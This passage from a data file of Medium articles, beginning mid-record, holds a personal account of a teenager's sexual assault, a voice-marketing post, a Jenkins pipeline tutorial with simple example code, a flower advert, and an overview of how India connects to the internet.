house from where the attack had happened. I just broke down in front of my mum expecting a cup of tea and a hug but she called the police. I was shocked ! And HERE lies the problem. We are taught day in and day out — and was truly exposed to this from reading The Everyday Sexism Project — that its ok to be touched up thats its not really sexual assault. My mother was a livid woman searching for the guy — who by the way just WALKED NOT RAN off after he spied the builder looking. He was still shouting things after me. My mum wanted to get a lead pipe and beat him if she could find him. My mum told me it was the one time I could swear. My mum had to be calmed down by the police women who came. It was only until I was being interviewed by the police woman that I even began to associate what had happened to me with the words sexual assault. The policewoman said ‘ well that’s what’s happened to you sexual assault’. But isnt that sad? Me, a 17 year old strident feminist attending the Ursuline High School JOINT 6th form ( i could never hack an all girls) thinking I didnt get sexually assaulted. I just think its shameful — I feel ashamed. But I’d just like to point something out. The policewoman who helped me were gracious kind and understanding. The builders(not the same one who saw me) who were at my home that day doing renovation work offered to leave in case I felt uncomfortable. My mum and her best friend Dian got in the car and started searching for him the attacker. We still havent found him yet I doubt we ever will. I had to go into the police station give a statement — which was honestly one of the most surreal experiences ever. Sitting there in a tiny interrogation room talking about what happened where he touched me and what he did was just surreal. i still cant quite believe it was sexual assault — and IT MAKES ME ANGRY. You know, the guy he went for my boobs. My boobs are fantastic — there one of my biggest quite literally assets and they’ve attracted a lot of attention over the years but this guy went for them. After this happened I found myself saying even more reason to get a boob job! As in breast reduction. They don’t hurt or anything like back pain but they attract tooo much attention. How sad ! is that. I wanted to mutilate and change my body because some idiot tried to cop a feel and rape me, like it was MY FAULT. this is what society puts on US women. We cant even bloody look nice at 1 pm in the day ! When the detective in the interrogation room read out my statement to me (she had been writing it down) I sounded weak and helpless — so she was shocked when I wanted to put in I was ANGRY. Well Why cant i be? Why shouldn’t I be? I WAS THE ONE VIOLATED. Reading the Everyday Sexism prokect gave me strength to write this and share this. its MY story its what happened to ME and it exposes a much greater problem in society — that women are made to feel like these incidents are just the norm. It also has given me the strength to say to you — Dont cover up Dont give in Dont give up. Why the hell should you? Its YOUR body. Dont ever let ANYONE make you feel that it isnt. | https://medium.com/@sheri-bhim/a-submission-to-the-everyday-sexism-project-written-when-i-was-17-2d9b1dcdc3a5 | ['Sheri-Ann Bhim'] | 2020-11-03 16:15:27.146000+00:00 | ['Assault', 'Sexism'] |
The Time is Now for Voice-Activated Content | According to new data from Edison Research, more than 53 million Americans now own a smart speaker (Amazon Echo, Google Home, et al). That is an increase of 14 million people in one year (36%), making smart speakers and voice assistants one of the fastest-adopted consumer technologies in history.
(tune in for Edison’s unveiling of their new research on smart audio)
For frame of reference, approximately 31 million Americans currently read a newspaper each weekday. And while newspaper readership has been on the decline for quite some time, even at its absolute apex circa 1973, 63 million Americans read a paper daily.
Thus, today, right now, the number of people routinely using a smart speaker in the USA is within shouting distance of the number of people who consumed a daily newspaper in this country….ever.
There’s a lot of talk about the rise of voice search and voice-enabled content, but if anything there’s not enough talk, given the size of audience and present/future capabilities of these technologies.
Can You Hear Me Now?
Which is why I’m so excited to announce that Convince & Convert is now an official agency partner of Voicify, the world’s first Voice Experience Platform.
Voicify allows our strategy team to conceptualize and craft winning voice-activated content for Amazon and Google devices with minimized hassles and expense. We are already building out multiple proofs of concept for clients and will be showcasing more voice content case studies and examples here at the Convince & Convert site.
Why Voice?
Here are some other statistics to explain why we are going hard into voice content development for our clients:
50% of all searches will be voice searches by 202072% of people who own smart speakers say the devices are part of their daily routinesIn the past year, smart speaker users who own two or more devices moved from 38% to 52%.
72% of people who own smart speakers say the devices are part of their daily routines
In the past year, smart speaker users who own two or more devices moved from 38% to 52%
In addition to freestanding smart speakers, Amazon and Google are hard at work embedding voice content technology into a huge array of other devices, including vehicles, Bose speakers, Sonos speakers, clock radios, the Chrome browser, and many, many more. We will be surrounded by voice interfaces, and SOON.
Business Executives Are Embracing Voice
A recent survey of business decision makers by Adobe found that 91% are preparing to make significant investments in voice, and 44% plan to release a voice app in 2019.
Adobe suggests that much of voice app development will enable commerce. Not a surprise, given their huge foothold in e-commerce and related fields. And today, their research shows that most voice programs are being funded by the mobile app or Internet of Things departments in major brands.
But here at Convince & Convert, we believe voice can just as easily be a major part of a different corner of the enterprise: content marketing.
There are two elements with which every brand and business must contend in terms of the convergence of content and voice.
1. Why Voice Needs to Be Part of Your Content Marketing Program: Consumer Engagement
First is the opportunity to drive increased customer engagement using voice-activated content. The reality is that consumers are using websites less overall, and relying more on social media, user-generated content, and third-party information aggregators.
Presenting compelling and Youtility-oriented voice-activated content to consumers opens an all-new avenue for engagement. It’s an opportunity that eschews the expensive and often clunky website, as well as the social media playgrounds that increasingly require ad budgets to reach customers.
Done right, voice-activated content is the easiest content for consumers to access, period. Easier than a mobile app (look ma, no hands!). Easier than a mobile website. Easier than email. Easier than video. Today, in this first phase of voice content strategy and development, much of what’s out there in the Alexa Skills and Google Actions directories are just okay; the same way the first websites (some of which I built) were just okay, and the same way the first mobile apps were just okay.
In conjunction with Voicify, we aim to help our clients create truly useful, helpful, interesting content in these platforms. And as the technology (and process of Skills/Action discovery) improves, I believe a voice-activated content strategy and corresponding program will become non-optional for B2C and B2B brands.
2. Why Voice Needs to Be Part of Your Content Marketing Program: Voice Search and the Land Rush
The second reason voice is a big part of where we’re headed is the growing importance of voice-driven search engine optimization. With half of all searches being voice searches by next year, what Google/Alexa/Siri/Cortana recommend to the searcher will be a huge driver of business.
Today, when you do a Google search, you get approximately 10 options on the first page, plus some multi-media options, and maybe some reviews as well. It of course is best to be first on a search engine results page, but if you’re on page one somewhere you’re in pretty good shape. But with voice search there is ONE and ONLY ONE winner. Alexa isn’t going to give you 10 options. You get one. In the world of voice search you win, or you’re invisible.
How do you win? Voice-activated content on Amazon and Google devices is served up using an “invocation phrase.” It works like this: “Alexa, give me some digital marketing tips.” Alexa’s first stop in assisting the human is to look to their own Alexa Skills Store (this is true for Google Assistant, Cortana and will be true for Samsung Bixby as well). When it finds a skill that can supply an answer it recommends the skill to its user. “Jay, it looks like Convince & Convert can answer your question, do you want to enable the skill?”
Amazon allows for multiple invocation phrases. Thus, more than one brand could have “digital marketing tips.” If that were the case and no owner was specified in the query, Amazon will choose the app based on information matches in the “CanFulfillIntent” data stored in the app (which is metadata and invisible to the user), consumer reviews, and usage levels. Thus, app quality has a material impact on exposure (just like with most content and SEO).
Like typing an address into a URL bar for websites, there is a direct invocation model as well. For instance, if you say: “Alexa, ask Oracle for a digital marketing tip,” then Oracle’s voice app will launch. This is an incredibly important concept for brands to understand as they will be in charge of awareness in this channel, and how they are “invoked” using what phrases.
Makes sense, right? But here’s the really important part: Google doesn’t allow multiple invocation phrases. Thus, Google, which sees voice content and voice search as so important as to be nearly existential to their future in a post “webpage” world, is creating a voice content gold rush. Not dissimilar from domain name squatting, there can be only one “digital marketing tips” on Google, and the clock is ticking.
What Kind of Content Should You Create for Voice?
Just like early websites and early mobile apps, the use cases for voice-activated content are constantly evolving and being discovered. But today, consumers are primarily using smart speakers for questions and answers, music, weather, etc.
Thus, for 2019, most of the voice-activated content we’ll create for clients will be rooted in information, helpfulness, and Youtility. As consumers get more comfortable with using smart speakers for more complex, API-driven interactions, we’ll add layers of specificity and nuance to what we’re doing with voice-activated content.
And while voice-activated buying is at the bottom of the list in terms of smart speaker functions, research from Voicebot and Voicify suggest that 26% of smart speaker owners have made at least one purchase on these devices. Using the Edison Research number of 53 million American owners, you’d get a pool of nearly 14 million Americans that have bought something via smart speaker already. Not massive, but certainly not insignificant.
Google’s own research shows that consumers are quite enthusiastic about receiving content from brands via these devices, especially when that content is viewed as useful in one or more ways. They found that 52% of smart speaker owners want information about deals, sales, and promotions. 48% want personalized information and tips. And 42% would like information about upcoming events, or activities.
One of the developments that will help dictate use cases for voice-activated content is the growing prevalence of screens on smart speaker devices. The first and second-generation appliances were audio-only. Consequently, a large share of smart speakers in homes and offices today lack a visual interface. However, the new Google Home Hub and Amazon’s Echo Show 5 are full-featured, with lovely video displays, solid speakers, and touch screens, priced at under $100.
Thus, we expect the next wave of smart speakers bought by consumers to be primarily multi-modal (audio + visuals + video), opening up many more opportunities for engaging content marketing, and interactive experiences including commerce.
The Choice of Voice
I’ve been in digital marketing since 1993. I have seen this movie before, when it was called “website.” When it was called “email.” When it was called “mobile app.” When it was called “SEO & SEM.” And when it was called “social media.”
Voice is next, and it’s now. It’s not going to replace anything. I hate pronouncements that X is going to “kill” Y. Because it never does. 31 million people — including me — still read a newspaper every day. So voice isn’t going to make your website unnecessary, or put Facebook out of business.
But the numbers don’t lie. Voice is easy to use, and it’s effective. And B2B and B2C consumers LOVE it. The train is accelerating. It’s time to jump on. We’re here to help, if you’d like. | https://medium.com/convince-and-convert/the-time-is-now-for-voice-activated-content-ecc06932f595 | ['Jay Baer'] | 2019-07-03 14:58:14.047000+00:00 | ['Voice Search', 'SEO', 'Amazon Echo', 'Voice Assistant', 'Digital Marketing'] |
A Comprehensive Guide To Jenkins Pipeline | Jenkins Pipeline — Edureka
With big giants such as Expedia, Autodesk, UnitedHealth Group, Boeing etc. using Jenkins for the continuous delivery pipeline, you can interpret the demand for Continuous delivery & Jenkins skills. Have you ever wondered why Jenkins has gained so much popularity, especially over the recent years? One of the major factors that contribute to it’s popularity is the Jenkins pipeline and if you’re looking for a simple Jenkins pipeline tutorial, this blog is your go-to. Jenkins pipeline is a continuous delivery pipeline that executes the software workflow as code.
Here’s a list of the topics covered in this article:
What is a Jenkins pipeline?
What is a Jenkinsfile?
Pipeline concepts
Creating your first Jenkins pipeline
Declarative pipeline demo
Scripted pipeline demo
We’re all aware that Jenkins has proven to be an expert in implementing continuous integration, continuous testing and continuous deployment to produce good quality software. When it comes to continuous delivery, Jenkins uses a feature called Jenkins pipeline. In order to understand why Jenkins pipeline was introduced, we have to understand what continuous delivery is and why it is important.
In simple words, continuous delivery is the capability to release a software at all times. It is a practice which ensures that the software is always in a production-ready state.
What does this mean? It means that every time a change is made to the code or the infrastructure, the software team must work in such a way that these changes are built quickly and tested using various automation tools after which the build is subjected to production.
By speeding up the delivery process, the development team will get more time to implement any required feedback. This process, of getting the software from the build to the production state at a faster rate is carried out by implementing continuous integration and continuous delivery.
Continuous delivery ensures that the software is built, tested and released more frequently. It reduces the cost, time and risk of the incremental software releases. To carry out continuous delivery, Jenkins introduced a new feature called Jenkins pipeline. This article will help you understand the importance of a Jenkins pipeline.
What is a Jenkins pipeline?
A pipeline is a collection of jobs that brings the software from version control into the hands of the end users by using automation tools. It is a feature used to incorporate continuous delivery in our software development workflow.
Over the years, there have been multiple Jenkins pipeline releases including, Jenkins Build flow, Jenkins Build Pipeline plugin, Jenkins Workflow, etc. What are the key features of these plugins?
They represent multiple Jenkins jobs as one whole workflow in the form of a pipeline.
What do these pipelines do? These pipelines are a collection of Jenkins jobs which trigger each other in a specified sequence.
Let me explain this with an example. Suppose I’m developing a small application on Jenkins and I want to build, test and deploy it. To do this, I will allot 3 jobs to perform each process. So , job1 would be for build, job2 would perform tests and job3 for deployment. I can use the Jenkins build pipeline plugin to perform this task. After creating three jobs and chaining them in a sequence, the build plugin will run these jobs as a pipeline.
This image shows a view of all the 3 jobs that run concurrently in the pipeline.
This approach is effective for deploying small applications. But what happens when there are complex pipelines with several processes (build, test, unit test, integration test, pre-deploy, deploy, monitor) running 100’s of jobs?
The maintenance cost for such a complex pipeline is huge and increases with the number of processes. It also becomes tedious to build and manage such a vast number of jobs. To overcome this issue, a new feature called Jenkins Pipeline Project was introduced.
The key feature of this pipeline is to define the entire deployment flow through code. What does this mean? It means that all the standard jobs defined by Jenkins are manually written as one whole script and they can be stored in a version control system. It basically follows the ‘ pipeline as code’ discipline. Instead of building several jobs for each phase, you can now code the entire workflow and put it in a Jenkinsfile. Below is a list of reasons why you should use the Jenkins Pipeline.
Jenkins Pipeline Advantages
It models simple to complex pipelines as code by using Groovy DSL (Domain Specific Language)
(Domain Specific Language) The code is stored in a text file called the Jenkinsfile which can be checked into a SCM (Source Code Management)
(Source Code Management) Improves user interface by incorporating user input within the pipeline
within the pipeline It is durable in terms of unplanned restart of the Jenkins master
It can restart from saved checkpoints
It supports complex pipelines by incorporating conditional loops, fork or join operations and allowing tasks to be performed in parallel
It can integrate with several other plugins
What is a Jenkinsfile?
A Jenkinsfile is a text file that stores the entire workflow as code and it can be checked into a SCM on your local system. How is this advantageous? This enables the developers to access, edit and check the code at all times.
The Jenkinsfile is written using the Groovy DSL and it can be created through a text/groovy editor or through the configuration page on the Jenkins instance. It is written based on two syntax's, namely:
Declarative pipeline syntax
Scripted pipeline syntax
Declarative pipeline is a relatively new feature that supports the pipeline as code concept. It makes the pipeline code easier to read and write. This code is written in a Jenkinsfile which can be checked into a source control management system such as Git.
Whereas, the scripted pipeline is a traditional way of writing the code. In this pipeline, the Jenkinsfile is written on the Jenkins UI instance. Though both these pipelines are based on the groovy DSL, the scripted pipeline uses stricter groovy based syntaxes because it was the first pipeline to be built on the groovy foundation. Since this Groovy script was not typically desirable to all the users, the declarative pipeline was introduced to offer a simpler and more optioned Groovy syntax.
The declarative pipeline is defined within a block labelled ‘pipeline’ whereas the scripted pipeline is defined within a ‘ node ‘. This will be explained below with an example.
Pipeline concepts
Pipeline
This is a user defined block which contains all the processes such as build, test, deploy, etc. It is a collection of all the stages in a Jenkinsfile. All the stages and steps are defined within this block. It is the key block for a declarative pipeline syntax.
Node
A node is a machine that executes an entire workflow. It is a key part of the scripted pipeline syntax.
There are various mandatory sections which are common to both the declarative and scripted pipelines, such as stages, agent and steps that must be defined within the pipeline. These are explained below:
Agent
An agent is a directive that can run multiple builds with only one instance of Jenkins. This feature helps to distribute the workload to different agents and execute several projects within a single Jenkins instance. It instructs Jenkins to allocate an executor for the builds.
A single agent can be specified for an entire pipeline or specific agents can be allotted to execute each stage within a pipeline. Few of the parameters used with agents are:
Any
Runs the pipeline/ stage on any available agent.
None
This parameter is applied at the root of the pipeline and it indicates that there is no global agent for the entire pipeline and each stage must specify its own agent.
Label
Executes the pipeline/stage on the labelled agent.
Docker
This parameter uses docker container as an execution environment for the pipeline or a specific stage. In the below example I’m using docker to pull an ubuntu image. This image can now be used as an execution environment to run multiple commands.
Stages
This block contains all the work that needs to be carried out. The work is specified in the form of stages. There can be more than one stage within this directive. Each stage performs a specific task. In the following example, I’ve created multiple stages, each performing a specific task.
Steps
A series of steps can be defined within a stage block. These steps are carried out in sequence to execute a stage. There must be at least one step within a steps directive. In the following example I’ve implemented an echo command within the build stage. This command is executed as a part of the ‘Build’ stage.
Now that you are familiar with the basic pipeline concepts let’s start of with how to create a Jenkins pipeline.
Creating your first Jenkins pipeline.
Step 1: Log into Jenkins and select ‘New item’ from the dashboard.
Step 2: Next, enter a name for your pipeline and select ‘pipeline’ project. Click on ‘ok’ to proceed.
Step 3: Scroll down to the pipeline and choose if you want a declarative pipeline or a scripted one.
Step 4a: If you want a scripted pipeline then choose ‘pipeline script’ and start typing your code.
Step 4b: If you want a declarative pipeline then select ‘pipeline script from SCM’ and choose your SCM. In my case I’m going to use Git throughout this demo. Enter your repository URL.
Step 5: Within the script path is the name of the Jenkinsfile that is going to be accessed from your SCM to run. Finally click on ‘apply’ and ‘save’. You have successfully created your first Jenkins pipeline.
Now that you know how to create a pipeline, lets get started with the demo.
Declarative Pipeline Demo
The first part of the demo shows the working of a declarative pipeline. Refer the above ‘Creating your first Jenkins pipeline’ to start. Let me start the demo by explaining the code I’ve written in my Jenkinsfile.
Since this is a declarative pipeline, I’m writing the code locally in a file named ‘Jenkinsfile’ and then pushing this file into my global git repository. While executing the ‘Declarative pipeline’ demo, this file will be accessed from my git repository. The following is a simple demonstration of building a pipeline to run multiple stages, each performing a specific task.
The declarative pipeline is defined by writing the code within a pipeline block. Within the block I’ve defined an agent with the tag ‘any’. This means that the pipeline is run on any available executor.
Next, I’ve created four stages, each performing a simple task.
Stage one executes a simple echo command which is specified within the ‘steps’ block.
Stage two executes an input directive. This directive allows to prompt a user input in a stage. It displays a message and waits for the user input. If the input is approved, then the stage will trigger further deployments.
in a stage. It displays a message and waits for the user input. If the input is approved, then the stage will trigger further deployments. In this demo a simple input message ‘Do you want to proceed?’ is displayed. On receiving the user input the pipeline either proceeds with the execution or aborts.
Stage three runs a ‘when’ directive with a ‘not’ tag. This directive allows you to execute a step depending on the conditions defined within the ‘when’ loop. If the conditions are met, the corresponding stage will be executed. It must be defined at a stage level.
within the ‘when’ loop. If the conditions are met, the corresponding stage will be executed. It must be defined at a stage level. In this demo, I’m using a ‘not’ tag. This tag executes a stage when the nested condition is false. Hence when the ‘branch is master’ holds false, the echo command in the following step is executed.
pipeline {
agent any
stages {
stage('One') {
steps {
echo 'Hi, this is Zulaikha from edureka'
}
}
stage('Two') {
steps {
input('Do you want to proceed?')
}
}
stage('Three') {
when {
not {
branch "master"
}
}
steps {
echo "Hello"
}
}
stage('Four') {
parallel {
stage('Unit Test') {
steps {
echo "Running the unit test..."
}
}
stage('Integration test') {
agent {
docker {
reuseNode true
image 'ubuntu'
}
}
steps {
echo "Running the integration test..."
}
}
}
}
}
}
Stage four runs a parallel directive. This directive allows you to run nested stages in parallel. Here, I’m running two nested stages in parallel, namely, ‘Unit test’ and ‘Integration test’. Within the integration test stage, I’m defining a stage specific docker agent. This docker agent will execute the ‘Integration test’ stage.
Within the stage are two commands. The reuseNode is a Boolean and on returning true, the docker container would run on the agent specified at the top-level of the pipeline, in this case the agent specified at the top-level is ‘any’ which means that the container would be executed on any available node. By default this Boolean returns false.
is a Boolean and on returning true, the docker container would run on the agent specified at the top-level of the pipeline, in this case the agent specified at the top-level is ‘any’ which means that the container would be executed on any available node. By default this Boolean returns false. There are some restrictions while using the parallel directive:
A stage can either have a parallel or steps block, but not both Within a parallel directive you cannot nest another parallel directive If a stage has a parallel directive then you cannot define ‘agent’ or ‘tool’ directives
Now that I’ve explained the code, lets run the pipeline. The following screenshot is the result of the pipeline. In the below image, the pipeline waits for the user input and on clicking ‘proceed’, the execution resumes.
Scripted Pipeline Demo
To give you a basic understanding of the scripted pipeline, lets execute a simple code. I will run the following script.
node { for (i=0; i<2; i++) { stage "Stage #"+i print 'Hello, world !' if (i==0) { git " https://github.com/Zulaikha12/gitnew.git echo 'Running on Stage #0' } else { build 'Declarative pipeline' echo 'Running on Stage #1' } } }
In the above code I have defined a ‘node’ block within which I’m running the following:
The conditional ‘for’ loop. This for loop is for creating 2 stages namely, Stage #0 and Stage #1. Once the stages are created they print the ‘hello world!’ message
Next, I’m defining a simple ‘if else’ statement. If the value of ‘i’ equals to zero, then stage #0 will execute the following commands (git and echo). A ‘git’ command is used to clone the specified git directory and the echo command simply displays the specified message
The else statement is executed when ‘i’ is not equal to zero. Therefore, stage #1 will run the commands within the else block. The ‘build’ command simply runs the job specified, in this case it runs the ‘Declarative pipeline’ that we created earlier in the demo. Once it completes the execution of the job, it runs the echo command
Now that I’ve explained the code, lets run the pipeline. The following screenshot is the result of the Scripted pipeline.
Shows the results of Stage #0
2. Shows the logs of Stage #1 and starts building the ‘Declarative pipeline’
3. Execution of the ‘Declarative pipeline’ job.
4. Results.
I hope this article helped you understand the basics of scripted and declarative pipeline. If you wish to check out more articles on the market’s most trending technologies like Artificial Intelligence, Python, Ethical Hacking, then you can refer to Edureka’s official site.
Do look out for other articles in this series which will explain the various other aspects of DevOps. | https://medium.com/edureka/jenkins-pipeline-tutorial-continuous-delivery-75a86936bc92 | ['Saurabh Kulshrestha'] | 2020-09-09 11:19:13.453000+00:00 | ['DevOps', 'Jenkins', 'Jenkins Pipeline', 'Continuous Delivery', 'Continuous Integration'] |
Order Calla Lilies Online For A Sophisticated Wedding Decor | Order Calla Lilies Online For A Sophisticated Wedding Decor
Calla lilies are one of the most regal and royal flowers you can choose for your wedding decor. They are simple, subtle, and elegant. Your wedding décor should reflect your personality and preferences and nothing can be better than some stunning and gorgeous call lilies. If you are worried about the extra expense for these gorgeous beauties, do not worry for you can order calla lilies online and get them at a discounted rate. They come in a large variety of colors and you can incorporate them in many different ways in your wedding décor.
Stunning calla lilies for a unique bridal bouquet
Calla lilies have an amazing presence that is extremely versatile and complementing. You can use them alone as well as mixed with most of the other popular wedding flowers. You can choose from a variety of available colors including white, yellow, orange, peach, pink, purple, and more. A single-colored calla lily bouquet mixed with some fresh green will make the perfect, simple, and subtle bouquet that you dreamt of. Mixing them with other flowers makes it more floral and varied. You can choose some gorgeous roses, orchids, or even peonies to elevate the arrangement. Order calla lilies online to look at the large variety available for you to choose from.
Calla lilies for cake decoration
Cake decoration has been gaining momentum for quite some time now. Cakes are no more just about yummy deliciousness but also about how well are they decorated. They need to look as beautiful as they are to taste. Most weddings use elegant and complimentary flowers to make the wedding cakes look more appealing and attractive. Calla lilies are one of the most favored flowers for cake decoration. Their open petal and rare colors are excellent at making the cake look striking and mouth-watering. Their bright, cheerful, and vibrant colors really stand out against the classic and vintage white cake and play a great part in the overall décor.
Wholesale calla lilies for your budget wedding
Flowers can be really expensive and empty your pockets. Order calla lilies online in wholesale so that you can avail them at a discounted price. You will save a lot compared to buying them at your local retailer. Buying them wholesale facilitates you to collect a large number of flowers at a low rate and decorate your wedding venue to your heart’s content. Order these gorgeous beauties today!
Visit www.wholeblossoms.com to get fresh and bright calla lilies for your elegant and sophisticated wedding décor. | https://medium.com/@wholeblossoms566/order-calla-lilies-online-for-a-sophisticated-wedding-decor-22718ebc8998 | [] | 2017-11-16 19:58:10.688000+00:00 | ['Flowers'] |
India and the Internet | Photo by Taylor Vick on Unsplash
Imagine that last bit of data your app/browser just sent to the Medium servers.
You requested this article and a request was made from your app/browser to the medium servers. This request contained a lot of bits of data, but for now, just consider only one bit of data.
This bit started its journey from your app/browser, then it reached the antenna/ethernet port of your device from where it enters the internet and then passed through those large oceans in the form of light all the way up to the medium servers.
Yes, it’s correct, “Light”. Your bit of data was converted into a light signal before transferred from one end of the ocean to the other end (Provided Medium servers are located across the ocean).
When your request was received by the medium server, it responded back with data in the form of this article.
But the best part of your request was, all this happened in just a few milliseconds. What I want to say is, you just sent some data all through those large deep oceans in under a second. Isn’t this fascinating?
This was a very high-level overview of the request made by you for accessing this article. There are a lot more technicalities.
As of July 2020, the estimated world population is 7.8 billion and the total number of internet users in the world are 4.8 billion(62% of the world population). India has a population of 1.38 billion and the total number of monthly active internet users are 574 million(0.57 billion).(Reference)
In this article, we’ll see what is the internet, how is India connected to the Internet and how are Indians accessing it today.
Happy Birthday To You !!!
Every year on 15th August, the Indian internet(public internet) celebrates its birthday, alongside the Indian Independence day.
On 15 August 2020, India completed its 25 years of the public Internet.
The Internet
Before talking about the Internet, we need to know what a computer network is:
When we connect two or more computers together, so that they can communicate with each and share information, it forms a computer network. These computers are connected with each other using connection mediums like cables or radio waves.
What is the Internet? In simple terms:
The Internet is a huge computer network having several billion computers connected together. This computer network is spread across the globe and connects computers worldwide using various connecting mediums. These computers communicate with each other for sharing information and for accessing services like messaging, video calling, video streaming etc.. A set of rules called protocols are used for making the communication easy and reliable. Common protocols used are HTTP, TCP, FTP, SMTP.
Internet history in brief:
In 1969, ARPANET(Advanced Research Projects Agency Network) was created by the Advanced Research Project Agency(ARPA) of the United States Department Of Defence. It was the first computer network in the world. In 1983, the TCP/IP protocol was used in the ARPANET for communicating between its connected computers. The TCP/IP protocol was created by Vinton Cerf and Robert Kahn. This protocol is the backbone of today’s Internet. In 1989, the World Wide Web(WWW) system was proposed by an English Scientist named Tim Berners-Lee while working at CERN, Switzerland. In 1991, the first web page was made live by Tim Berners-Lee using the WWW system.
Internet In India:
In 1986, India’s first computer network was created by the Department of Electronics(DoE) and was called “Education and Research Network (ERNET)”. ERNET connected eight Indian Educational and Research Institutes.
These eight institutes were: 5 IITs (Kanpur, Kharagpur, Delhi, Mumbai, and Chennai), Indian Institute of Science Bangalore, Indian Department of Electronics(DoE), and National Centre for Software Technology (now called C-DAC ) Mumbai.
This Network was not available for the public. In 1995, Videsh Sanchar Nigam Limited(VSNL) — a state-owned entity made the Internet available to the public. This Internet service was called Gateway Internet Access Service (GIAS) and had International connectivity. GIAS provided a speed of 9.6 kbps and was priced at ₹5000 for 250 hours per month for individuals.
VSNL was later bought by TATA in 2007 and was renamed as “Tata Communications Ltd.”. In 1998, the Indian Government opened up the Internet service sector for private operators. In 2004, the Indian Government introduced its Broadband policy which defined broadband as “an always-on Internet connection with a download speed of 256 kbit/s or above.” In 2005, India’s state-owned telecommunications service provider BSNL launched its Broadband service called “DataOne”. In 2008, another state-owned telecommunications service provider — Mahanagar Telephone Nigam Ltd (MTNL) launched India’s first 3G enabled mobile and data service in Delhi and Mumbai. BSNL followed MTNL and launched its 3G service in 2009, initially in Chennai and Kolkata. In 2009, BSNL and Aksh Optifibre Ltd., collaboratively launched the country’s first Fiber-To-The-Home(FTTH) service in the capital city, New Delhi. In 2010, both 3G and 4G radio spectrums were allocated to private operators. In 2010, Tata Docomo was the first private telecom operator to launch 3G services in India. In 2012, Airtel became the first telecom company to offer 4G services in India.
Internet Service Providers In India
Top ISPs in India are Reliance Jio, Bharti Airtel, Vodafone Idea Limited, BSNL, ACT Fibernet, Hathway, and GTPL Broadband Pvt. Ltd.
We’ll talk about the levels of ISPs later.
You, ISP, and the Internet
For this section, imagine that you have bought a brand new computer and you have no internet connectivity in your house.
When you start your computer and open your web browser to search for “XYZ” on google.com(your default search engine), you are trying to access the Internet. Here you are trying to access some information(XYZ) stored on some computer(google’s computer)connected to the Internet. This “some computer” has the information stored on its storage and it will serve you with the information about XYZ if your request reaches it.
Since this computer will “serve” you with the information, hence its called a “server”.
This google server might be located across the pacific ocean, in the USA. But how can you connect to this server? You don’t have any cable connecting from your computer to this google server, right?
What you can do is, you can request access to the cables that are already laid by various Internet Service Providers(ISPs). You will make a phone call to an ISP that provides Internet service in your area. You will pay them the charges so that they can give you access to their cables and you can connect to this google server. They will come to your house and will connect their cable to your computer.
Now, you can surf the Internet using your ISP’s cables.
Who owns the Internet?
The Internet is not owned by anybody. We all contribute to the internet by connecting our devices to it. To access the internet-connected computers, you have to pay for the connecting mediums like cables or radio waves that are owned or leased by your Internet service provider. Your Internet Service Providers are charging you for using their connecting mediums and not for the content.
How does India connect to the Internet?
There are long and very strong submarine cables laid across the world through oceans that keep the Internet working. These are fiber optics cables and are laid by large organizations. A country connects to the internet using its submarine cable landing stations.
India has 15 submarine cables landing stations across 5 cities. These 5 cities are :
Mumbai Chennai Cochin Thiruvananthapuram Tuticorin(Thoothukudi)
So basically, “most” of the internet traffic which the Indians generate will flow through any one of these 5 cities.
Why “most” and not “all” traffic? Because if a user is accessing information from a server which is located in India, then there is no need to route the traffic outside India through these stations.
Mumbai and Chennai handle more than 95% of India’s international Internet traffic. Mumbai has 14 and Chennai has 6 submarine cables coming-in that connects various parts of the world.
Major service providers who have laid their cables around the world are:
Tata Communications: Owns 5 cable landing stations. Bharti Airtel: Owns 3 cable landing stations. Reliance JIO: Owns two cable landing stations. Global Cloud eXchange (formerly Reliance Globalcom): Owns two cable landing stations.
Other service providers owning cable landing stations include BSNL, Vodafone, Sify Technologies, and IOX.
Some of the major submarine cables that improve India’s Internet connectivity includes:
SEA-ME-WE 3 cable
“The South East Asia-Middle East-Western Europe 3" submarine cable was completed in 1999 with a total length of 39,000 Kilometers and connecting 39 landing stations. Major connecting landing stations include Norden(Germany), Alexandria (Egypt), Jeddah (Saudi Arabia), Karachi, (Pakistan), Mumbai, Kochi, Tuas (Singapore), Shanghai (China), Okinawa (Japan). SEA-ME-WE 4 cable
“The South East Asia-Middle East-Western Europe 4" submarine cable was completed in 2005 with a total length of around 18,800 kilometers. It connects South East Asia, the Indian subcontinent, the Middle East, and Europe FLAG Europe-Asia (FEA) cable
The “Fibre-optic Link Around the Globe” cable has a length of 28,000 kilometers and connects the United Kingdom, India, and Japan. It was laid by Global Cloud Xchange, a subsidiary of Reliance Communications. Europe India Gateway (EIG) cable
The “Europe India Gateway” has a length of 15,000 kilometers and lands on the Bharti Airtel’s Mumbai cable landing station. This cable connects the United Kingdom, Libya, Monaco, Saudi Arabia, France, Egypt, the United Arab Emirates, and India.
You can get the complete map of submarine cables here.
There are 3 types of Internet Service Providers (ISPs): Tier-1 ISPs, Tier-2 ISPs, and Tier-3 ISPs.
These global submarine cables are laid by Tier-1 ISPs.
Tier-2 ISPs provide national connectivity and Tier-3 ISPs provide local level connectivity.
You get your internet connection to connect to the Internet from a Tier-3 ISP.
Mobile data pricing in India
According to a UK-based price comparison website(cable.co.uk), India has the cheapest mobile data in the world. The average price of 1 Gigabyte(GB) of Internet data in India costs $0.09 which was ₹6.66 in February 2020.
India was followed by Israel($0.11) and Kyrgyzstan($0.21) for 1GB of mobile data.
Let's have some fun
The world’s first website by Tim Berners-Lee :
The Wayback Machine:
Using this digital archive, you can go back in time to view the snapshots of websites and see how a website looked like in the past. For example, here’s how Twitter looked back in March 2001.
The first Tweet:
The first tweet was posted on 21 Mar 2006 at 4:50 PM by Its co-founder Jack Dorsey. Back then, “Twitter” was called “twttr”.
The founder of Medium.com, Evan Williams is also one of the co-founders of Twitter. Thanks Evan.
The First Video on YouTube:
YouTube’s co-founder Jawed Karim posted the first video on YouTube on April 23, 2005 at 20:31:52 PDT.
Amazon’s first job listing by Jeff Bezos in 1994:
Conclusion
So remember, the Internet is a very huge computer network, no one owns the internet and we all “connect” to the internet by renting the cables laid by the internet service providers.
This was a very high-level overview of the Internet and how India connects to the Internet. There are a lot more things going on behind the scenes. But for now, this is enough for this article.
Thank you for reading.
Read my other articles at iamnirajwagh.medium.com
Feedback
I love getting feedback, both positive and negative. You can connect with me at:
@Twitter
@LinkedIn
@GitHub | https://medium.com/@iamnirajwagh/india-and-the-internet-8a566c5c55b8 | ['Niraj Wagh'] | 2021-03-08 06:17:16.339000+00:00 | ['Facts', 'India', 'Internet', 'Data'] |
